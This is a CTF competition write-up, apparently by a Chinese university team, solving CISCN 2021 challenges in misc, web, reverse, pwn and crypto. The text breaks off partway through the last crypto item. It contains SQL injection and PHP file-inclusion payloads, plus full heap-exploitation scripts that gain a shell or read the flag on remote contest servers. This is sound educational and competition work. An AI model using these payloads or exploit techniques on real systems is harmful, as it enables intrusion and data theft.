CISCN-2021-Hrbust-Birkenwald战队write up
被大佬带飞的一天,荣获线上初赛全国区第七,东北区第一,撒花!
也是第一次跟着学校的大哥们冲榜,累是真的累,还有(写wp更累)
Misc
tiny traffic | Solved | 1cePeak
打开流量包发现服务端是一个Github的项目
导出HTTP流传输的文件,发现有两个经过brotli算法压缩的.br文件,linux下解压即可
brotli -d test.br
brotli -dsecret.br
test文件
syntax = "proto3";
message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}
message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}
protobuf官方文档
https://github.com/protocolbuffers/protobuf
直接使用protoc --python_out=. test.proto,会生成一个test_pb2.py,反序列化即可
import test_pb2
import brotli
data1 = test_pb2.PBResponse()
data2 = brotli.decompress(b"\x0b\x1c\x80\x08\xc8\x01\x10\xa2\xd4\x99\x07\x1a\x0e\x0a\x05\x65\x32\x33\x34\x35\x12\x05\x37\x61\x66\x32\x63\x1a\x0f\x0a\x06\x37\x38\x38\x39\x62\x30\x12\x05\x38\x32\x62\x63\x30\x20\xc6\xa2\xec\x07\x2a\x09\x64\x31\x37\x32\x61\x33\x38\x64\x63\x03")
data1.ParseFromString(data2)
flag = ""
flag += hex(data1.flag_part_convert_to_hex_plz)[2:]
flag += data1.dataList[0].flag_part
flag += data1.dataList[1].flag_part
flag += hex(data1.flag_part_plz_convert_to_hex)[2:]
flag += data1.flag_last_part
print("CISCN{" + flag + "}" )
CISCN{e66a22e23457889b0fb1146d172a38dc}
隔空传话 | Solved | 1cePeak
拿到数据Google搜索发现是PDU短信
找到在线解密网站https://tool.letmetellyou.xyz/pdu/,把它的解密js扒下来直接调用即可
import execjs
f = open('data.txt', 'r')
png = ''
for message in f.readlines():
rFile = open('index.js', 'r')
testResult = execjs.compile(rFile.read()).call('getPDUMetaInfo', message)
png += testResult.split('\n\n')[1].split('\nLength:')[0]
print(testResult.split('\n\n')[1].split('\nLength:')[0])
按照时间戳顺序整理之后,可以在hex数据中找到检索到图片头89504E47,再定位图片尾AE426082,将完整图片提取出来,发现宽度不正确,根据之前的暗示w465,修改宽度为01d1即可
flag前几位是手机号前八位,在前四条消息有提示
CISCN{15030442_b586_4c9e_b436_26def12293e4}
Robot | Solved | 1cePeak
首先追踪TCP流,发现大量坐标数据
提取流量中的坐标信息
写脚本画图还原即可
from PIL import Image
import hashlib
robot = open('C:/Users/86176/Desktop/point.txt')
pic = Image.new("RGB", (400,200))
for line in robot.readlines():
if 'tgPos' in line:
pic.putpixel((int(line.split('.')[-1].split(',')[0].replace('[', '')), int(line.split('.')[-1].split(',')[1])), (255, 255, 255))
pic.show()
print(hashlib.md5('easy_robo_xx'.encode()).hexdigest())
得到如图字符串
CISCN{d4f1fb80bc11ffd722861367747c0f10}
running_pixel | Solved | Tr0jAn
gif常规分帧,382张图,每10张为一组,没啥思路,把前三组的第一张图拿出来做了个逐位像素比较,发现其中不同的像素点都为(233,233,233)对每个bmp提取(233,233,233)像素点坐标,逐位输出,可以按顺序观察到flag
诸如以上每次输出一个字符,最终脚本如下:
from PIL import Image
pic = Image.new("RGB", (400, 400))
result = []
for a in range(4):
for b in range(10):
for c in range(10):
if int(str(a) + str(b) + str(c)) < 382:
img = Image.open('分离出/IMG00{}{}{}.bmp'.format(a, b, c))
picture = img.load()
for x in range(0, 400):
for y in range(0, 400):
if picture[x, y] == (233, 233, 233):
result.append((x, y))
for i in range(len(result)):
pic.putpixel((list(result[i])[1], list(result[i])[0]), (255, 255, 255))
if i != len(result)-1 and abs(list(result[i])[0]-list(result[i+1])[0]) > 1:
pic.save('解出/flag{}.png'.format(i))
pic.save('解出/flag999.png')
CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}
Web
easy_source | Solved | T4rn
简单测试下目录
发现.index.php.swo
发现源码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc = $_GET["rc"];
$rb = $_GET["rb"];
$ra = $_GET["ra"];
$rd = $_GET["rd"];
$method = new $rc($ra, $rb);
var_dump($method->$rd());
代码里这个User类并没有什么东西,提示我们要注意文件里面还有什么,我一开始想 不会还有东西是不显示的吧 后来发现并没有,实例的类可用 基本确定我们是用内置类来进行操作
php内置类里的 ReflectionMethod 来读取东西
读什么是关键,想了想就在文件里面,想能不能读取注释呢
构造payload
payload:index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
注释
懂了 遍历下这几个函数,最后在q里面成功找到
CISCN{rqJIv-skQUs-NuBgo-fp9SK-IzADy-}
easy_sql | Solved | T4rn
burp 测试了下
ban掉的东西很少,
union 和一些常见的列名,想起了LCTF2017题目里面的一道题报错无列名注入获得列名
参考了链接:https://www.secpulse.com/archives/65812.html
我算取巧了,上来就尝试flag表,构造闭合
' and((select flag from flag)) and '
存在flag表 没有flag列而已,直接join无列名注入
' and ((select * from (select * from flag a join flag b using (no,id))c)) and '
查到列 然后直接报错读
'and extractValue(1,(select f05b5eb1-d700-490c-80b3-f994cd858209 from flag)) and '
运气好拿了二血
CISCN{kVBF1-F0zxM-CSL5i-BGRDZ-OyvgG-}
middle_source | Solved | T4rn
做吐了的一道题,一开始就盯着源码硬dui,后来才发现又个/.listing
打开是个phpinfo
给了phpinfo+文件包含位点 基本上就是session包含
p神的脚本一下子就找到了
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
然后吐了写了半天shell 怎么也没写进去,然后就懵了,后来仔细翻了phpinfo
直接ban掉了,那我就只能自己读文件了,
直接写入
<?php print_r('glob /etc/*');?>
打出一堆文件
这个也是我的锅,我第一反应是学习一下这些都是什么意思,然后不断浪费自己时间之后,发现
这个太垃圾的随机字符串了
在第八个
读的时候发现有好多目录
于是就随便写个啥东西直接递归读
<?php function digui($a=""){foreach(glob($a.'/*') as $file){if (is_dir($file)) {print_r($file."fuck...\n");digui($file);}else{print_r(file_get_contents($f));}}}digui('/etc/bdfdheaedh'); ?>
然后get flag
CISCN{B2sYJ-5Iazl-LoFgs-n2XMo-jFEHG-}
Reverse
baby_bc | Solved | Tr0jAn
看到.bc,就用clang转化成汇编,然后编译即可
clang -S -fobjc -arc baby.bc -o baby.s
clang baby.s -o baby
然后就能ida打开直接分析
先对输入进行限制,只能输入25位1-5
fill_number()将输入存放到map里,如果已存在数字,则输入0
然后通过
docheck()检查,check分为两部分,第一部分检测每5位是否重复,和每隔5位是否重复,结合前面的输入25个字符,猜测是一个数独
第二部分通过row和col进行对输入的相邻元素的大小进行一个限制
利用z3直接求解即可
exp如下:
from z3 import *
row = [[0, 0, 0, 1], [1, 0, 0, 0], [2, 0, 0, 1], [0, 0, 0, 0], [1, 0, 1, 0]]
col = [[0, 0, 2, 0, 2], [0, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 1]]
solver1 = Solver()
map = [[Int("map[%d][%d]" % (a, b)) for a in range(5)] for b in range(5)]
solver1.add(map[2][2] == 4)
solver1.add(map[3][3] == 3)
for i in range(5):
for j in range(5):
solver1.add(map[i][j] >= 1)
solver1.add(map[i][j] <= 5)
for i in range(5):
for j in range(5):
for k in range(j):
solver1.add(map[i][j] != map[i][k])
for j in range(5):
for i in range(5):
for k in range(i):
solver1.add(map[i][j] != map[k][j])
for i in range(5):
for j in range(4):
if row[i][j] == 1:
solver1.add(map[i][j] > map[i][j + 1])
elif row[i][j] == 2:
solver1.add(map[i][j] < map[i][j + 1])
for i in range(4):
for j in range(5):
if col[i][j] == 2:
solver1.add(map[i][j] > map[i + 1][j])
elif col[i][j] == 1:
solver1.add(map[i][j] < map[i + 1][j])
if solver1.check() == sat:
print(solver1.model())
得到map,并将map2以及map3替换为0,然后进行手动排序后进行md5加密,得到flag
CISCN{8a04b4597ad08b83211d3adfa1f61431}
glass | Solved | Tr0jAn
将jadx打开后分析,checkFlag为检测函数![图片]
改zip后缀,找到libnative-lib.so,ida分析
通过分析,前两个函数为一个常见的RC4加密,分析sub_10D4可得
先进行一个简单的三元置换,然后key进行一个循环异或
直接先循环异或,然后反向置换之后即可恢复,然后进行一个RC4解密即可
exp如下:
#include <stdio.h>
#include <string.h>
#include<iostream>
using namespace std;
static void rc4_init(unsigned char *s_box, unsigned char *key, unsigned int key_len) {
unsigned char Temp[256];
int i;
for (i = 0; i < 256; i++) {
s_box[i] = i;
Temp[i] = key[i % key_len];
}
int j = 0;
for (i = 0; i < 256; i++) {
j = (j + s_box[i] + Temp[i]) % 256;
unsigned char tmp = s_box[i];
s_box[i] = s_box[j];
s_box[j] = tmp;
}
}
void rc4_crypt(unsigned char *data, unsigned int data_len, unsigned char *key, unsigned int key_len) {
unsigned char s_box[256];
rc4_init(s_box, key, key_len);
unsigned int i = 0, j = 0, t = 0;
unsigned int Temp;
for (Temp = 0; Temp < data_len; Temp++) {
i = (i + 1) % 256;
j = (j + s_box[i]) % 256;
unsigned char tmp = s_box[i];
s_box[i] = s_box[j];
s_box[j] = tmp;
t = (s_box[i] + s_box[j]) % 256;
data[Temp] ^= s_box[t];
}
}
void fun(unsigned int *result, int a2, unsigned char *a3, int a4) {
unsigned int tmp[3];
for (int j = 0; j < a2; j++) {
result[j] ^= (int) a3[j % 8];
}
for (int i = 0; i < a2; i += 3) {
tmp[0] = result[i];
tmp[1] = result[i + 1];
tmp[2] = result[i + 2];
result[i] = tmp[1] ^ tmp[2];
result[i + 2] = tmp[0] ^ result[i];
result[i + 1] = result[i + 2] ^ tmp[2];
}
return;
}
int main() {
unsigned int text[] = {0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05,
0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7,
0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F};
unsigned char key[] = {'1', '2', '3', '4', '5', '6', '7', '8'};
fun(text, 39, key, 8);
//{0xf8,0xba,0x6a,0x97,0x47,0xca,0xe8,0x91,0xc5,0x7,0x6e,0xf7,0x92,0xb,0x39,0x92,0x14,0xa8,0xaf,0x7e,0xaa,0x50,0x45,0x8d,0x6d,0x2d,0xb6,0x86,0x6e,0x9f,0x86,0x5e,0xdf,0xb3,0x1e,0x52,0xa6,0x62,0x6a}
unsigned char text1[] = {0xf8, 0xba, 0x6a, 0x97, 0x47, 0xca, 0xe8, 0x91, 0xc5, 0x7, 0x6e, 0xf7, 0x92, 0xb, 0x39,
0x92, 0x14, 0xa8, 0xaf, 0x7e, 0xaa, 0x50, 0x45, 0x8d, 0x6d, 0x2d, 0xb6, 0x86, 0x6e, 0x9f,
0x86, 0x5e, 0xdf, 0xb3, 0x1e, 0x52, 0xa6, 0x62, 0x6a};
rc4_crypt(text1, 39, key, 8);
printf("flag:");
for (int i = 0; i < 39; i++) {
printf("%c", text1[i]);
}
printf("\n");
return 0;
}
flag:CISCN{6654d84617f627c88846c172e0f4d46c}
Pwn
lonelyworlf | Solved | wh1te
很经典的堆题,功能齐全
index没有用,全程就只有一个指针。delete函数存在uaf
解题思路:
先创造一个大小为8的堆块,free之后写8个字节的数据泄露堆地址,更新过后的glibc2.27不能直接double free,需要通过edit函数将chunk_bk位置上的数据清空后完成tcache poisoning在heap_base+0x18分配堆块,并写入数据。
填充 0xf0大小堆块的个数
填充 下一次分配0x30堆块的地址
payload = '\x00'*5 + '\x07' + '\x00'*(2 + 0x38) + p64(heap_base_addr + 0x270) + '\n'
之后创建大小为0x60和0x70的堆块(加起来等于0xf0,创建完就free)。申请0x20大小的堆块,修改chunk_0x60的size为0xf1。再将chunk_0x60申请回来再free就可以泄露libc地址。之后就可以修改free_hook为system。从而getshell
exp:
from pwn import *
local = 0
libc = ELF('./libc.so.6')
if local:
sh = process('./a')
else:
sh = remote('124.71.224.75', '25336')
def add(size):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Size: ', str(size))
def edit(content):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Index: ', '0')
sh.sendafter('Content: ', content)
def show():
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('Index: ', '0')
def delete():
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('Index: ', '0')
def _exit():
sh.sendlineafter('Your choice: ', '5')
add(8)
delete()
edit('a' * 8)
show()
sh.recvuntil('a' * 8)
heap_base_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x10
print(hex(heap_base_addr))
add(0x60)
delete()
add(0x70)
delete()
add(0x50)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x50)
edit(p64(heap_base_addr + 0x18) + '\n')
add(0x50)
add(0x50)
payload = '\x00' * 5 + '\x07' + '\x00' * (2 + 0x38) + p64(heap_base_addr + 0x270) + '\n'
edit(payload)
add(0x20)
edit('\x00' * 8 + p64(0xf1) + '\n')
add(0x60)
delete()
show()
sh.recvuntil('Content: ')
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x3ebca0
print(hex(libc.address))
add(0x40)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x40)
edit(p64(libc.sym['__free_hook']) + '\n')
add(0x40)
add(0x40)
edit(p64(libc.sym['system']) + '\n')
add(0x10)
edit('/bin/sh\n')
delete()
sh.interactive()
CISCN{WDPGa-pT8cL-37sr7-QTkwx-SM3fz-}
pwny | Solved | wh1te
解题思路:
默认从文件描述符3开始读urandom的数据,所以read的时候会segment fault。但是可以通过第一次write将fd修改成很大的数,第二次write将其修改成0就可以正常读写了。之后就写malloc_hook为relloc,写realloc_hook为one_gadget。通过scanf调用malloc从而getshell,也可以通过hook_exit的方式,但是远程没打通。
exp:
from pwn import *
local = 1
libc = ELF('./libc.so.6')
one_gadget_libc = [0x4f3d5, 0x4f432, 0x10a41c]
elf = ELF('./a')
if local:
sh = process('./a')
offset = 0x616f60
else:
sh = remote('124.71.224.75', '25416')
offset = 0x616f68
def read(index):
sh.sendlineafter('Your choice: ', '1')
if index < 0:
sh.sendlineafter('Index: ', p64((1 << 64) + index))
else:
sh.sendlineafter('Index: ', p64(index))
def write(index, content='', flag=0):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Index: ', str(index))
if flag == 1:
sh.send(content)
def _exit():
sh.sendlineafter('Your choice: ', '3')
def addr_to_offset(addr):
return (addr - elf.address - 0x202060) // 8
write(256)
write(256)
read(-18)
sh.recvuntil('Result: ')
libc.address = int(sh.recv(12), 16) - libc.sym['exit']
print(hex(libc.address))
read(-92)
sh.recvuntil('Result: ')
elf.address = int(sh.recv(12), 16) - 0xA00
print(hex(elf.address))
exit_hook = libc.address + offset
print(hex(exit_hook))
one_gadget_addr = one_gadget_libc[2] + libc.address
write(addr_to_offset(libc.sym['__malloc_hook']), p64(libc.sym['realloc'] + 0x4), 1)
write(addr_to_offset(libc.sym['__realloc_hook']), p64(one_gadget_addr), 1)
# write(addr_to_offset(exit_hook), p64(libc.sym['malloc']), 1)
# _exit()
sh.sendlineafter('Your choice: ', '2' * 0x500)
sh.interactive()
get shell
CISCN{2CrAw-Spihm-HAxin-PT8vz-CIh5Y-}
silverwolf_wp | Solved | wh1te
跟lonelywolf相同但是开启了沙箱。
解题思路:
因为开启了沙箱所以将需要的堆块先从tcache中清空使得后面构造unsorted bin时更加方便,总体思路跟lonelywolf相同。修改__free_hook为setcontext+53之后通过rdi和setcontext+53设置寄存器的值,调用read函数写入rop链,输出flag。
exp:
from pwn import *
local = 0
libc = ELF('./libc.so.6')
context.arch = 'amd64'
pop_rdi_ret_addr = 0x215bf
pop_rsi_ret_addr = 0x23eea
pop_rdx_rsi_ret_addr = 0x130569
ret_addr = 0x8aa
pop_rax_ret_addr = 0x043ae8
syscall_ret_addr = 0xd2745
if local:
sh = process('./a')
else:
sh = remote('124.71.224.75', '25361')
def add(size):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Size: ', str(size))
def edit(content):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Index: ', '0')
sh.sendafter('Content: ', content)
def show():
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('Index: ', '0')
def delete():
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('Index: ', '0')
def _exit():
sh.sendlineafter('Your choice: ', '5')
add(8)
delete()
edit('a' * 8)
show()
sh.recvuntil('a' * 8)
heap_base_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x10
print(hex(heap_base_addr))
for i in range(12):
add(0x60)
add(0x70)
add(0x60)
delete()
add(0x70)
delete()
add(0x30)
add(0x50)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x50)
edit(p64(heap_base_addr + 0x18) + '\n')
add(0x50)
add(0x50)
payload = '\x00' * 5 + '\x07' + '\x00' * (2 + 0x38) + p64(heap_base_addr + 0x1bc0) + '\n'
edit(payload)
add(0x20)
edit('\x00' * 8 + p64(0xf1) + '\n')
add(0x60)
delete()
show()
sh.recvuntil('Content: ')
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x3ebca0
print(hex(libc.address))
pop_rdi_ret_addr += libc.address
pop_rsi_ret_addr += libc.address
pop_rdx_rsi_ret_addr += libc.address
ret_addr += libc.address
pop_rax_ret_addr += libc.address
syscall_ret_addr += libc.address
rop_chain_addr = libc.bss() + 0x200
flag_addr = rop_chain_addr + 0x80
rop_chain = p64(pop_rdi_ret_addr) + p64(flag_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rax_ret_addr) + p64(2) + p64(syscall_ret_addr)
rop_chain += p64(pop_rdi_ret_addr) + p64(3) + p64(pop_rdx_rsi_ret_addr) + p64(0x50) + p64(libc.bss()) + p64(libc.sym['read'])
rop_chain += p64(pop_rdi_ret_addr) + p64(libc.bss()) + p64(libc.sym['puts'])
payload = rop_chain + './flag' + '\n'
add(0x40)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x40)
edit(p64(heap_base_addr + 0x60) + '\n')
add(0x40)
add(0x40)
edit(p64(libc.sym['__free_hook']) + p64(heap_base_addr + 0x1c10) + p64(heap_base_addr + 0x1c10 + 0x40) + p64(heap_base_addr + 0x1c10 + 0x40 + 0x50) + '\n')
add(0x30)
edit(p64(libc.sym['setcontext'] + 53) + '\n')
print(hex(libc.sym['setcontext'] + 53))
frame = SigreturnFrame()
frame['uc_stack.ss_size'] = libc.sym['setcontext'] + 61
frame.rsp = rop_chain_addr
frame.rdi = 0
frame.rsi = rop_chain_addr
frame.rdx = 0x100
frame.rip = libc.sym['read']
payload = str(frame)
add(0x68)
edit(payload[0x90:])
add(0x50)
edit(payload[0x40:0x90])
add(0x40)
edit(payload[:0x40])
delete()
print(pop_rdi_ret_addr)
sh.send(rop_chain + './flag\x00')
sh.interactive()
get flag
CISCN{EaUD4-Bfm5M-HJO18-EwcmS-omu0N-}
Crypto
move | Solved | Tr0jAn
题目源码:
from Crypto.Util.number import *
from math import sqrt, gcd
import random
BITS = 512
f = open("flag.txt", "rb")
flag = f.read()
f.close()
def get_prime(nbit):
while True:
p = getPrime(nbit)
if p % 3 == 2:
return p
def gen(nbit):
p = get_prime(nbit)
q = get_prime(nbit)
if q > p:
p, q = q, p
n = p * q
bound = int(sqrt(2 * n)) // 12
while True:
x = random.randint(1, round(sqrt(bound)))
y = random.randint(1, bound) // x
zbound = int(((p - q) * round(n ** 0.25) * y) // (3 * (p + q)))
z = zbound - ((p + 1) * (q + 1) * y + zbound) % x
e = ((p + 1) * (q + 1) * y + z) // x
if gcd(e, (p + 1) * (q + 1)) == 1:
break
gifts = [int(bin(p)[2:][:22], 2), int(bin(p)[2:][256:276], 2)]
return n, e, gifts
def add(p1, p2):
if p1 == (0, 0):
return p2
if p2 == (0, 0):
return p1
if p1[0] == p2[0] and (p1[1] != p2[1] or p1[1] == 0):
return 0, 0
if p1[0] == p2[0]:
tmp = (3 * p1[0] * p1[0]) * inverse(2 * p1[1], n) % n
else:
tmp = (p2[1] - p1[1]) * inverse(p2[0] - p1[0], n) % n
x = (tmp * tmp - p1[0] - p2[0]) % n
y = (tmp * (p1[0] - x) - p1[1]) % n
return int(x), int(y)
def mul(n, p):
r = (0, 0)
tmp = p
while 0 < n:
if n & 1 == 1:
r = add(r, tmp)
n, tmp = n >> 1, add(tmp, tmp)
return r
n, e, hint = gen(BITS)
pt = (bytes_to_long(flag[:len(flag) // 2]), bytes_to_long(flag[len(flag) // 2:]))
c = mul(e, pt)
f = open("output.txt", "w")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"h1 = {hint[0]}\n")
f.write(f"h2 = {hint[1]}\n")
f.write(f"c = {c}\n")
f.close()
这里参考该帖子,后来访问不到了,幸亏电脑有缓存
该题和原题思路一样,先求xy,然后求pq,exp如下:
import gmpy2
from Crypto.Util.number import *
import binascii
n = 80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
e = 67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809
M = Matrix(ZZ, [[2 ** 512, e], [0, -n]])
GV = M.LLL()[0]
x = GV[0] >> 512
y = (e * x - GV[1]) // n
print(x)
print(y)
n = [80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281]
e = [67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809]
c = [(6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605, 38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028)]
y = [22131877391133483964429946329193825460775374851078084751208971056041193500203]
x = 26279444166664821795077701675621823220865336004430428203703688888211697122228
k = [e[0] * x - n[0] * y[0]]
K = [k[0] // y[0]]
def factor(K, N):
l = 0
r = K
for i in range(518):
s = (l + r) // 2
v = s * s - (9 * s * s * (K - 1 - s) * (K - 1 - s) // (round(N ** 0.25) * round(N ** 0.25)))
if v < 4 * N:
l = s
else:
r = s
return r
S = [factor(K[0], n[0])]
print(S)
S = [ 18383013852155207284866834850624501649134164688503883162216824258842790032992437383933186349369945088653252318167911285710266631681220716855493349532603970]
d = [gmpy2.invert(e[0], n[0] + 1 + S[0])]
print(d)
def add(p1, p2):
if p1 == (0, 0):
return p2
if p2 == (0, 0):
return p1
if p1[0] == p2[0] and (p1[1] != p2[1] or p1[1] == 0):
return 0, 0
if p1[0] == p2[0]:
tmp = (3 * p1[0] * p1[0]) * inverse(2 * p1[1], n) % n
else:
tmp = (p2[1] - p1[1]) * inverse(p2[0] - p1[0], n) % n
x = (tmp * tmp - p1[0] - p2[0]) % n
y = (tmp * (p1[0] - x) - p1[1]) % n
return int(x), int(y)
def mul(n, p):
r = (0, 0)
tmp = p
while 0 < n:
if n & 1 == 1:
r = add(r, tmp)
n, tmp = n >> 1, add(tmp, tmp)
return r
n = 80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
d = 64865299864204876853170430993673920941415491009604414266642896481946449192491714463096186584933277485342387801073101451474578435166838494123830349800442326458421905584491174115903541394121208187797872066987148475627986250308746883861324178338503348125503382180617168925854908309364156754704352188572070286209
c = (6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605, 38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028)
flag = (mul(d, c))
print(binascii.unhexlify(hex(flag[0])[2:]))
print(binascii.unhexlify(hex(flag[1])[2:]))
CISCN{e91fef4ead7463b13d00bda65f540477}
imageencrypt | Solved | Tr0jAn
题目源码:
import random
from flag import flag,image,r,key1,key2
import md5
assert(flag[:5]=='CISCN')
assert(len(str(r))==3)
data = ''.join(map(chr,image))
assert(flag[6:-1] == md5.new(data).hexdigest())
assert(key1<256)
assert(key2<256)
x0 = random.random()
x0 = round(x0,6)
def generate(x):
return round(r*x*(3-x),6)
def encrypt(pixel,key1,key2,x0,m,n):
num = m*n/8
seqs = []
x = x0
bins = ''
tmp = []
for i in range(num):
x = generate(x)
tmp.append(x)
seqs.append(int(x*22000))
for x in seqs:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0'*(16-len(bin_x))+bin_x
bins += bin_x
assert(len(pixel) == m*n)
cipher = [ 0 for i in range(m) for j in range(n)]
for i in range(m):
for j in range(n):
index = n*i+j
ch = int(bins[2*index:2*index+2],2)
pix = pixel[index]
if ch == 0:
pix = (pix^key1)&0xff
if ch == 1:
pix = (~pix^key1)&0xff
if ch == 2:
pix = (pix^key2)&0xff
if ch == 3:
pix = (~pix^key2)&0xff
cipher[index] = pix
return cipher
flagimage = image
testimage = []
for i in range(16*16):
testimage.append(random.randint(0,255))
print testimage
print encrypt(testimage,key1,key2,x0,16,16)
print encrypt(flagimage,key1,key2,x0,24,16)
分析代码不难发现x0和r都很小,可以考虑一起爆破,又由于最后异或加密使用了key,但key仅和ch和解密结果有关,所以key1和key2的可能值也极少,有了爆破的可能。且由于算法特性,加密过程也即是解密过程。
爆破key的可能值
testcipher = [131, 92, 72, 47, 177, 57, 131, 118, 4, 38, 192, 19, 119, 82, 63, 143, 235, 165, 15, 140, 209, 223, 117, 133, 47, 148, 81, 144, 138, 246, 173, 235, 177, 181, 110, 39, 9, 192, 57, 166, 180, 153, 141, 19, 234, 157, 142, 80, 234, 197, 151, 152, 249, 143, 176, 155, 147, 17, 57, 194, 191, 254, 13, 144, 140, 85, 25, 248, 172, 208, 154, 249, 5, 201, 27, 137, 69, 23, 175, 34, 156, 72, 208, 32, 195, 16, 127, 65, 207, 131, 57, 203, 7, 98, 89, 36, 65, 75, 211, 21, 45, 132, 214, 239, 102, 58, 68, 130, 97, 204, 225, 76, 152, 216, 74, 149, 79, 165, 198, 72, 150, 94, 7, 177, 46, 226, 252, 247, 79, 62, 69, 106, 60, 21, 106, 236, 47, 145, 170, 28, 18, 101, 14, 152, 131, 7, 37, 15, 168, 99, 115, 27, 220, 150, 89, 82, 232, 170, 107, 221, 212, 46, 235, 129, 36, 66, 217, 222, 36, 15, 217, 192, 247, 192, 113, 230, 129, 196, 13, 247, 148, 228, 225, 86, 71, 133, 132, 238, 236, 127, 11, 83, 107, 141, 114, 150, 182, 146, 213, 250, 141, 53, 114, 16, 198, 70, 133, 17, 247, 173, 136, 73, 236, 78, 188, 150, 239, 58, 199, 136, 11, 122, 134, 77, 47, 167, 137, 188, 55, 195, 41, 49, 245, 92, 160, 213, 254, 0, 85, 205, 193, 69, 2, 140, 143, 155, 127, 236, 179, 199, 168, 35, 85, 40, 45, 174]
testimage = [205, 237, 6, 158, 24, 119, 213, 32, 74, 151, 142, 186, 57, 28, 113, 62, 165, 20, 190, 37, 159, 137, 196, 44, 97, 37, 7, 222, 220, 95, 4, 66, 0, 28, 199, 142, 95, 105, 119, 232, 250, 215, 60, 162, 91, 211, 63, 30, 91, 108, 217, 206, 80, 193, 230, 42, 221, 71, 136, 115, 22, 176, 91, 57, 61, 3, 87, 73, 250, 121, 51, 72, 83, 120, 77, 199, 236, 190, 249, 116, 45, 6, 134, 110, 149, 94, 214, 232, 153, 213, 119, 98, 81, 203, 240, 114, 240, 29, 122, 188, 156, 53, 128, 185, 40, 147, 245, 204, 47, 101, 80, 229, 41, 150, 28, 195, 25, 235, 119, 6, 192, 8, 73, 255, 159, 172, 77, 94, 254, 104, 236, 219, 141, 91, 195, 162, 97, 56, 252, 173, 163, 43, 167, 214, 50, 73, 115, 190, 254, 53, 61, 77, 138, 192, 15, 4, 190, 27, 37, 108, 101, 135, 90, 215, 106, 243, 112, 111, 106, 89, 143, 150, 185, 142, 192, 176, 48, 138, 164, 185, 61, 77, 72, 